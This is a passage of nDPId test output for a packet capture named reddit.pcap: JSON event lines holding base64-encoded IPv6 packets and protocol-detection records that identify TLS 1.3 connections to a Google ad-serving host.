+B958gF87DV0dUWm0Ii7VHKL\/Q6Y2r6fdK30CA+KkztsSyJ248A3O05kZhEiMIoQyG4s3wlWHhE+E4UQQsOim2kAvMBAtLCAnTXTT\/STsFumohVCxeaYTwdfpBK4FB3azRdPaG7FWnE4UCzHC9o8PGmAE30jbUXWbYi+j9r6lk2NDenpkiQDg4bBgKnAcSHVWFksUmXIwmJYazR4hvq1cLp7lzwi\/P3Tllc+2BRjD6D5AF0d+Zg82OBCWXyGUWrE25DMlhy493mf22th+jmPHPPlZ7xi09dLYgp6ztJuhx+oqiRu2sFisIrJdWRPT3bDNqJBXX+36nbYGKbHdLQ1ZXQL9iXc+jLsEYnCJj00CBbC+UDVK8HwAOwSiBk77rTRyc5os3\/e58lRGoVa9QKX1ohnD99KP8pvYIlUUy68gyFow2s144n1HSQHOc5UoV5r9EnsvZK7YfY+wS+qEuvcHl2zDdB77eotQ6wanED67SQEJi6UtIXthEXxGdICrIyU72KWN3yE5E9a\/Y1sBXgpcR\/2xNCau2eGEsn+OMXJYKc3vRHrD53fBL7k5Wan8JVh8kf\/JbWbyGqV4s5wcU\/2zdtWSLzD+q5gzfMSycVzDosKt067Qkm4w4rSOCA6d43Uu\/fMudT\/dt3rU28FrbrfUU8U1OHXKWduD3P2yKE2JGIYaLh+k2K8LzsmQburh+gsgc5hgxa1mMXvTlkikd7vmbOMhQL\/c+YUX\/74SwOZ7Y90VYgaiLY\/cp\/ntCq2y1elj8j0e1szVVch60guzsiaQWXFIKk\/wudatWN0aFfKk0AgYSFmG+2VB37\/WZiOxfZBPN7krbQ=="} +00454{"flow_id":54,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9423,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":999585,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBhSQACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIEQAAAAAAACAKlRYBu2QKzAwBx+PKgBAB7BbaAAABAQgKqlQM9sLXS+g="} +01139{"flow_id":54,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9424,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":166,"pkt_caplen":586,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":586,"pkt_l4_len":532,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAhQGPSoAFFBABwgRAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbuVFgHH48pkCswMgBgLMEOQAAABAQgKwtdL6KpUDMoq2n26049nT9BVJeyVBPh1jwWY07QErD1k2HjxT+JAavNdgexUzc\/8ZIaho9+9+vBjzLCk4OaXDc+grOA1EkXRSYzZnzlmC301NAf+NKB6GijDKI\/rHTY4Pg+Oicbwi3JTZM\/agbREGXXPLdLM1+nBxeeuqEOa84gwWL1btBUaojsmHwvkduNqR3jH0NeL0Pa1HV4YIJexl2BTQsCUdIt4IvZVYo\/xuzTKxQwwuSoN8SfXSwbZUpJezg6jAyFYULtQFsDfWnRM7wKuwjkYL48COFSCdrmKpJKVedutC3hWlonBsUx7ScYN+avQlkG7+Iz0iwPGjxKmoldc3rPlPeOPeA2piKPn+aWO+mGGLviIHAJnsYtGbAo4zzYmb0iCA5EQH2boqNfu\/gLHtxZugepkwiC\/K\/TdaUfxrAKdNCn89jMqq69ZFPnqK6Xo2qHjryaW2k3H1NMee9UtWbb6ascN+cDLRp5c\/at\/N4+i919IgJVpysAkAIYGbZhT0xGE132lA5LlrzhNH\/HQTFxxppLalEZ7\/RHe\/6VA5GfkJv7NucDZ\/XPFK5oIdVUHhet1+cxSUDdsP2YDqrvWl24lIG5J4sji7iC6Je5DBTFipx6hNBWogpB5pQZrI6kWoz6I0s0ryHq8bJle\/4sU9cFINc7\/a8TTOA=="} +00452{"flow_id":54,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9425,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":180,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBhSQACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIEQAAAAAAACAKlRYBu2QKzAwBx+W+gBAB6RToAAABAQgKqlQM98LXS+g="} +02097{"flow_id":55,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9427,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":2443,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZEy\/C8sr4sDhgBgLMMljAAABAQgKwtdL6riVO1IWAwMAegIAAHYDAxZyfG5rVMemZ5O375248QNVemF9wkhPYNealPRQE8++IOrgXduV1ht3HJ4NSaQ01nhk1SGFsiLuJ4S0a7eBU0YJEwEAAC4AMwAkAB0AIP0uRykvioCfoBc\/d6u\/rUyWi0wLphXLbH3KJL9R1394ACsAAgMEFAMDAAEBFwMDCdXX+yEL6TVpWj9kaDVKbWV\/4gsX0uqDcrxfiR9d4dfY\/Vw3U3YXcmhxugL7yEsLQo\/TDOf2t89TCMI2D0cy+nO6zAtLvuRlRHPEA9dNo31p9VwL\/wY3Ux+LiVnAwl9+lGQATl7wQAE3YKFnRufM9mEe5ZYiaqxQGIXqWUhPo\/jcYQfVfEh9H2ztlSOid8DaX2oph92JQarTJOxYmfoTyQdwQUlYCRom1JiG+fFUx1t2wXKVPXOtOPW3M01HdIogP6CWP0W0t9QUVOacuDyhnJkdKXqS9jCWRb6r5++JqNLsbBiaD2VcNmmFTT2fR0tBmN4QtfAkq4dDD09gTEEN3URSPNJNr7XcObf8PCWCfmZ5npwgdVMyPpn7D16floyW62A8owuETzRK4PgCwyJ2ILR1Ts94ot\/05xNvBcSH9U7SCpJBr4aGDDOLxDg3oEmUp7jGJ6I00sQBHBg18RnqDJGDuQix\/wxZDcW8qcQnQdAxPIb2LB3IPWWit3fuV1qLcVFKRsmjdE7iYSTOtt11cpJFtF7Ddh+pKP5DohQJHHxxchwKk76XNzArrh6IgHMkOrC84GeTt2Gceod+Kp\/BDU\/9HQ1gq\/0DILl9xNtFfMr2cX7GLpdaCz6OTXp0w6GB\/r61imYNjjTABaphjH0fvWUu9zs5RMfMr1Ol68BNguDiEN2IUOQzNH4WCuIDaytgcadZREzToeWHt0tZXd8WJAYCup4ltp2PnqfeZoRZpCk3bYe05+bnnjHX8qTGBc63fA\/\/8a24Eg9oVeQ\/\/gRqhpvg84tN4naPsNdraDPoM0HIfHSkPVDIPm7jDeZZ7Fqm3Ixu0yhtLSARkzPwWlrVwIDXZmCoaPuzNjs99Ts19TN0Ag6qdatYy7g7RHiAhUn3oTfYZxnZQN63fwOtmhpIKIe0O4dkHYs8m5If68v9\/+YYntCWdB6LhwesUFklaie0uLiHO4sQOA6cQ\/mhtdViusvoSL56YXooJNr1k\/uHEFPBsF95xE\/\/jRWPTReXkFb7xvTDowvVUn4mr5my4yo2fYqXCQzAuKhR9LMuJcTPVZqDdr1gdRDmHOHT82h399FDJe+2I+zEXBbTro65L4xL9fTo2Oe6pxhOPHn9SrwFFCjtHi\/YluIW+m4V+OEfH6Ml648EgVP91YdNbPn2yi+Wb1H+MPgEcePPri8Jpda\/TlkLqqGs1OvSd4RuKeW39RQH2uZHTqpQNOJghjO74wpgRorWKPmq\/gkv03JOsh1sSVa3s771hh3mpRnw811Ma0BT+TICaLSIVWMJJk5NnFaZvR+A4qxhMufmDSG1RKPronkUrWkxiKkssokBWWb5dh7oCYdbFExUp+zbJaYyIETnu46xRj5B6m5vY1+NVIwBjiRcgDhmx89r3qzt0+7yPDe0fOHjBG6UuXypgFvrsPpHwg=="} +00878{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9427,"source":"reddit.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291691002,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36964,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"tpc.googlesyndication.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02102{"flow_id":55,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9428,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":2444,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZEy\/EIMr4sDhgBgLMF70AAABAQgKwtdL6riVO1IBlL6e4\/r3ZYeOU9N08+h\/sKC1U+d\/qCBLoaUdNp0u\/NOsfTek\/G8KeC4nrneaCWG7Q+TFZfVqN04zb8l\/M3ZKNozqpAHlzXWRPgonwtDPri0e02JeJFHwmpsY4j9iwAqnva0dNk5rB0SgjvW+ofPfrNhjPUWYXvSvYF0VuuKgmDqhJAxrw\/lpLrYznULWxMmppcYhOAo2J1CNFpSgWJQH8K5CuMfu9eGlNVa1e+vJ9EdWAd84qFzIl9DeW\/6m\/qcrrkshhqMdCRTlpvf75gP7a0C2p6OPVkkUwK8d\/noNiNuJiedR7jxQum4FYZXPHOFot9nmMWxETsh\/kf4rUPO3j0DaFhpvxYY7xZynMe+1LB0jCAJ4Z2\/aMj+uOmWbtFwp1f8OGXEB0EcopvX90g0Ky1qtRHJlfS85F+ooWNnw5VlMwrYRzCXPZdQPlTR3Gy\/GcMQpwOfaeEm+RdlTNC2V9LRmbzYwEjdKOFRE8V9mPW4aEqxTDuv1m5x77tNCB9w3wnJzeSQzHGUEdaoDS7zcDS4DClvsmUy5LLlI7LIuudIVT2VpZL7EhqpAR4uPd7M8L6snHmJqe3Dg4vSA\/RuLKNPAGH6+BKXrPCBVMir8dSP6b5O1Qx2vH64R6JgiL1yxqM0kpbFbyeFj22cXZz1kImFRTuq\/Uz3ylEsBgjwxRNGkLiUe\/iDPVa1c2XEVjHq0Rq8Yyud0AYWQUnwYFRb\/dzHCtDuq5UDo\/kfXaMegnZlrkkKOOOGjv3UeYS\/zjRusRtn5UYjEuUmT9yaSfundVTeApeBaVHEgKpbkuQOsXlh5rQdX3oGz6qRLZQeNZgsZsU1qDt963N3+9BFYn3DZzhYbK6UZvb4pppFhQ4fNEZuSHxKMLN1UXf47H7TrD8Z65eDMdnNbam9oHab8VfoYmKHW1opuZlky1q0mpX8hhvX69ZrV4lWt+KOsH6riib0DQ37x4By6UlBU4L1SqXkJSA7qfySxA96rA1RzvISLPS1QJIrPfoHeGeuSmsT903kE1QujTWH2GrQRuOYiLnKDo+ffnKzml8tI6y4dLXXGrku4oQGzjS3wX6Bks94Xibp4zshFgtMAqY+fcD+EJLisWm21kZPpjHR\/b3IvzqQa7wVGdlfDHSnGEAK27OgxOrJT6AyEZSoLm+klPssuEHecNs3fv+NDvxpCzt3r8R04JcTL3jVf\/u\/McZ3SeC0TcYVryUN0mzJD1SvKjvog9naNazhATES7DloWfq+oFofDYKnAD8BrynfUOPzsdv1W1K9iTXl8QatR84NFaTQtZWCVWkl8jgikpL5HCNgN1dvqkf\/g2lCmcXFCzTeoBciDsdwK5DJBBMMBemZ2u1g2h2X7Ep2Er8nOuupJ0u1FSn5Ibs1En+KhRBOlEsCo9U2YQncUijyQY9eF7wo2diV4iwkZ54gb23t2j\/UQF\/mrFnlVFLjE8LH1hdj8qAI7n13cxLvar6+ObDD+KlEQ5OYyFeZB7X9HvotWRa4lmV4SEJvCKvw8hrqCmQ2yixEnnGctCbrRqSgZ\/dgXsXtnej0nD+x\/Dx86\/M1ZEcnEtgz\/HhUgrVAd+ToV\/YyqpvLqsXJpKf59CkMKxY4MFg=="} +00781{"flow_id":55,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9429,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":2445,"pkt_caplen":325,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":325,"pkt_l4_len":271,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAQ8GPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZEy\/FTsr4sDhgBgLMF2vAAABAQgKwtdL6riVO1KFCUBjSZHSTS7FYDB69m5ne2IcPwkugv9ufCPNKlhnkKiGdCY0\/TjFV1mwZRTbi4FN5your0dzLXXaobS6QQiMKB6ZssDxSPbQUpqNTwD1ghfndMUOxdvzSRWHuJbgIOOOkBTfOwzw9zuAsyGt7orYshsE9funI9KJ8SpHbhaHaXeu6wo0hnlzXEqZLrZfSDaYlwaqEY2GU4FY0aAzE+zp5T4VrDN96JJZyvwW\/g1Dyz1iICtiDTHEnmffmKalxvdpWwFpA\/CcKy33yW99Eoq4k\/QpOU1dWZ88FCRMl82WbQ2bjAxERDK6oX32whVlDQ=="} +00452{"flow_id":55,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9430,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":2460,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyviwOFMvxCDgBAB9apjAAABAQgKuJU7gMLXS+o="} +00453{"flow_id":55,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9431,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":2480,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyviwOFMvxU7gBAB8qWuAAABAQgKuJU7gMLXS+o="} +00453{"flow_id":55,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9432,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":2490,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBnVWACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIDwAAAAAAACABkGQBuyviwOFMvxYqgBAB8aTAAAABAQgKuJU7gMLXS+o="} +02096{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9434,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":3085,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZgWfUkNjbNmkgBgLMJFhAAABAQgKwtdL7LiVO1IWAwMAegIAAHYDA4\/I9ZyggDUPQruB7TmYxu86jMY+5exao1z\/0tuuFazRIJHCilmb8BVAxV8SeOqltgKl5o0ytImnEj4UpvBg7WThEwEAAC4AMwAkAB0AIO3llPl0N39J8s6uxbIQfiJNFA\/nZ6+iG3RCsOZBdVQkACsAAgMEFAMDAAEBFwMDCdaQh466zaLCPVF6JnNgRjmX4s7NH1xOUZkB09iKYpSw0PsOwBMhNaGw6y\/a++GuH38++vlB0EV4xM9AjjW\/YTz7T\/qvH6hl7rYXaANIQWlNWjr3U6zY97W4xfAFwnvkgbCoWvdhJcmtLMjIbQ4770hNmnq6Jolg1g85eRgSFsRROTOhql4kK8vbPIlne6d1lH3zlmERosSHIktblKTn7w7eg\/kcGQxQEt44otxJx\/Fp0wWAHR1dndV1gxPJcBfSZSK+vqxIHmg9BYfoMlnUEWZkS6L2Gkv3q74w1OaDSRtzhQED+rOAo+6GYE+5n8uC9nav8Xx9NMhUIJ+zGIGIHda3Lziadb5lG1EW4Xmu5oiNY1VyYahkLxlcmEvKI9PcbWJRviw4A2+c6QRrq6kNMxxHDsd2\/YhEIO9yML4IK7DT+LyU7GHaA8CKA5WBn8OrlFbbxViWU\/TXZj9p8r\/BW+qBl5mPBHuAwXHW3ICa2uNILAx0KYZiFJksA0xSJij3FW94+tJR+1n+iruHKziE4ESLimZYntXkzt2P4bC2ZibvAxwObURcwyCDRhBGtN2gLKh+Hdby6C40KfQsEuCMCpIRNYRwbYijIYbEbD6rwr5D1lXIsF8DBEElI4\/\/f7HCNqiZrDjjQpHyAYBx3+MNXsjt9uUEiuZ9ugSM5kV\/BhVaaLaLn2TnRJR8SrxzOBMNeiZgt+2X0Vf5Sa3AndVROGSGZnmW1ggizXWEtMzwIPgkgmN\/X3FTwRIrYTPT6T4MKOq7kZRwMGWzlJh73z16IAPr68fUOTMSJ7D5thYIbK7bm64a+u85xpY7YGqsiQRSR+0KxqPow8Geoiu2DQzHo+66sjspBH79+HfBAz+eAsOcZDuJIUAdZwCq43M4lG3O0HUA43D6K4t8i3cZDBg3aOZmfos6b3Egnx6m7WXATXh+zq\/WNoQ9pt+5AmoQCo2Jdg3ZKVZEMXGI8NPlZGv\/Q9QehV4gJccwBMLkZ\/OsZlXYjLd2kobnfgW7k\/9jzUdivW31GMIa7M0kOQjPzVBXq7zvlcL0VmPOm9+9BptoHoccOLZHShUfw2nTCZonaHnGbw9aaiOJ9lCAFsJvBOXrYnf3IAlzeIW55b0f5lwI9S1iOhQkT\/LsLjblwIlZr9O4cIbS5dJM6Onuyq5CLbk\/JMcTZxJpA0cZuhK3anPd6P4Tj+1\/aNK6htGST91CdDie2IAZ1KtvbHn4IzsXfUTC3N8d+gjjyrDqPpXsLcoThRyfuMA71qNemQZyql1y5niLiLIu3Jw\/Ik8KgqezJvM0UJI4pYNxFPsXEeYwD7w3FrjNdeJ2RIyUOd\/RiMyL9AV37THE6j3PjxWq0cWEcEhsSkqvq3tAGAfznFYXE3Fcelf4tmCRuFP9tPgdo4zzPCggvCqN\/waLFzJIsSrKxjTduQ=="} +00878{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9434,"source":"reddit.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291691003,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36966,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"tpc.googlesyndication.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02086{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9435,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":3086,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQZgWfVvtjbNmkgBgLMHb5AAABAQgKwtdL7LiVO1K4OIwPpoULkgqNX2ZISP6NqcXKYiebCh9Wx0IUMWFutSzm7XcJ8x9pW9cISKPUY+6sEKJxOnN8meQCL8z78UcVeVQAFOkcysNDRFjMtHw7RrJULpuobSlMPoefxatrOeq0kGYicskxUGAitiVaLIXOrUTPfKPZ6C15cW9UzqXYLEJzxzx06NqOvhLxnf2haihXb2WVxc+KzIS2BdShwS\/6oT8kORwULX4FdHERvfM1395My4xYWSm9YyXLWtToc+CLsC7Hxv9dKVs+uOerzlw0VjcAZ2f9WENn\/Rv7OvN8MOMvPdGjib3d0FMKFdTtTmhna+A1UW1TqvF1rlbocaFNrpV9dvGP2HurirOwiQY\/7H7qTXg16K7Tu4ff2MKZz9BF676uN9M4Axe2ofFLPEsmtpQ7sng1sbIk28bhbJXvKx3VfRYHJK4zBqcIRKYYeP3LKV2e455FNV9opcy57oxiuVR1sVOqaKn7F9qDGKJUB4uKCV4w0iRcmtZ4h5aSBJCf81asUoTvBy5EGdPtHNpxHD+qQxFH5VrMPflGZcyWVLuductTejfUsEcbQXcmv7roDfb50X2ij6dpRuZf2\/SmaKGa\/E\/m5rBCehuAQmnxkFq6L3KDMsqOSKfOGZeVSY6LR3aixjGw3c+yYgOL+phG970SVBuCdEZtZTYxkzIuWR90IJHGArzWAuDrR\/N6McuxsDkfpup\/n8qKMSQRUrlfgTDWqvTmGPgBD+pJdZ2kyxbXtyvEccfZeL6kVzNcCpyUVj3poKIHozQihoM6EQQEoFaDuL81CkHBlTZJNQJLF8ghZCNazs8tCC8J\/PsKPUoB7U8nruxcwSoob+zeBGtd6Tw8\/mwb5nWJ5HKI+c5ppakIsqTvjCH8Wh\/qbeY4rTzBiM6NCdvMYkeYHRjwAQwfeVlFLj0So1NHpDyXe2PL9d4\/o0v6dN+7z8YwyaWLm4jahBX8qhQzZFs0vBdGRT4qccWKceod5Ls6kHOUMcIaz3YRcxgvFlYo2wBp1f7C9ao8EE9zR5goSia1cd3YBUxGf5QexEXziFYrRkkcb26KRyO22hbs+How+5sPJSTHEF7HVE5ju\/hk4p6VuM6+KcIoizlbgpvRiBnJcLa1+\/zbrSz\/MxDp+YjB8aqnbbqr97u8F3RkcjsSCBjOhtPTZ+4EoSrciHSB0KTk28TbWS+QizHQtSNUmATJ5LP6yVqtFfw52A7hNNbb8Gvm20GXzeRmCKjhP5BGZrfMSzje8aun5zCQqDJzHKZK93Ikb8Jg2XSjAS+v2mzwEkANDmXmnvju5ScimtVS35lk6JBwYFgtOxNIb4h9bqlTmZ4Tq1UeSES64qWIk7RV2OaAfzNVoAuTzbJ79Q1DVDUGI0fQE7McqJS92xnnNbrsAdfwtxSVIL9e9AivP5HFTzuhTgbwiHAKrKsfgD+CwMwUY7MpHo0chQNcpV2Z2ZIVxG85izeWaPIQzNcxXvwK2ekNQApd7xzFqKBya3dnWfSJ2InKKfsOxkb+8lRzueGfJ0oeooipJUunosNdEqkdlTHTKyrxhG2XQcP2MJN+7OhmzBZCTDIdKZz1asWoRXgCn+SQx2DPKOHaNBx5sgWHOg=="} +02102{"flow_id":58,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9436,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291691,"pkt_ts_usec":3087,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgPAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbuQan0Owi8YaA0rgBgLMI3FAAABAQgKwtdL7LiVO1MWAwMAegIAAHYDA8Zmp1hvq6rKOKD6KScByZyqpDH+uBSJxa4pv8JLy4ROIDWtk7CyEcZiHB5uWIXfY5Croj84Q3kSS9jhYTHY4t\/XEwEAAC4AMwAkAB0AII00Ya4Cc34Pg\/4W+n\/Hjs6oJ2XuzZXAQVatlBsUdSgsACsAAgMEFAMDAAEBFwMDCdVrx1sWYWEVD2\/ulNL4cWAa0ogk8R7Hvmv86VBYv60pckyl52tCov2mcSEJ4dR3HS48f+b+8ec8sG0nMA832Rr00THuSN4PTAj4+\/BsaTxsCqdMXIySIB3zJLS5HqjkA\/Ed3vHKTrq05yvNa6fnC+97alS2sqm+nfT4BJGt7yFdc5iEedIcSJ\/As67kTfqlvBwAFnwpIWf\/YPyoop1UWrZvjLLTPTuev3hujSYzYZWyFv1aj\/hkb7gSWftPfBntohWHWF\/ua\/d24lXPG4nZ2b4Wv8woI5hwco6gpMLofPs9A0afX+2qgPX1DaaRRDwA2QgH8R6hM0YEBNRYYlcX4UYl76nLY2A7WQhYbC7qG\/OvYsd9g4+yv29rfcVMNmpM7W+XWDFzdoJwpPp7CoU928nTRrJMmrktJAzLCwlHqnY\/EjfBi7g1FWMqYOQ1HiVzhgNRzTPCh+YnuguRJ7vaXQ7o6gb45EbLfQ1mX5qzTAc6RmJLfMWpeMfcT6pEKkFNQR3EtmuTrpYSRYBSxFCfeRu8a7guyZSoWFrfQzRVmfVTefqWGVFeFgfsxnOjs\/wKKm6zBMkaPfrcOo9EiK+bP+yzv4fwNeL\/CuiTBzBP5jrW0nTpjvNWPhGR\/wDbjwBZN\/EHIr67WFHiUGx9oQpIPFveuGXvSRZjGXP\/wiaCTtzZCP64YoCX4yhkrMp2nsTorDx7ZnAL12rBcVqP51dG5pWcl1+WOLlPpbmYz6w6M+erMtvujm+lMi6U43BVB+q7FmVlUMO9fF7vn5CdWs0\/wARW121DFY+qmHRhhqv2Y1OM0CHo0jFmyN+pKMmkofdP1U2UxcK1L41wLW1+hPE73tcuLGqUEXR4A1y9jzf7scoX97PI0DTfomZDbOpPP3stYwSnY3xm5bIE9XU4N1Eb\/xl6\/gbPxwJWBvFg+rcmrzwyJAmx6vVMsbJG1e4yxK904Wgorq4Y+8nbMM1Ux\/bzb+LaKDPwNowBYpMKJobrH+THpL7UvVUf8qd6t4AUBWZ+aHfohgs\/lnIY5eE5Uz0oDTOMKlmDYfNAxIavEEohywt\/K7\/f8Hg6D8sdyGtum43oY07LSjW\/BpfIwTvuVAlb0nfmAOS3oURo5NOl4zD9YjkGB9h7p8Or5ScL78egTHOJfdRatVY+6al5pbTmJYmy4Foaf3Ibma7zKRShH1eU9HR4PiI0V56FtT7LF+wlgd+R3Ccej3kZz5gHVB2vnOpqZrZV9ERUrra\/UQMJ\/3TlDzeoR1qZB41UeE7JTCvFfMoLZHRtUPXWqtRrs6fKBvFs+pItBz9pHaEelk1wNBZhly8vT249UL4W7gBs+kspyOITxbL+4nHZcx7fkTZZKcHMCIOBrEg7nyQxMutFk0CT1wtUEHgUfBHLs6\/zZKK\/ZHKkgSlDr\/nwPkCyDjQbXZnnjg=="} +00878{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9436,"source":"reddit.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291691003,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80f::2001","src_port":36970,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"tpc.googlesyndication.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 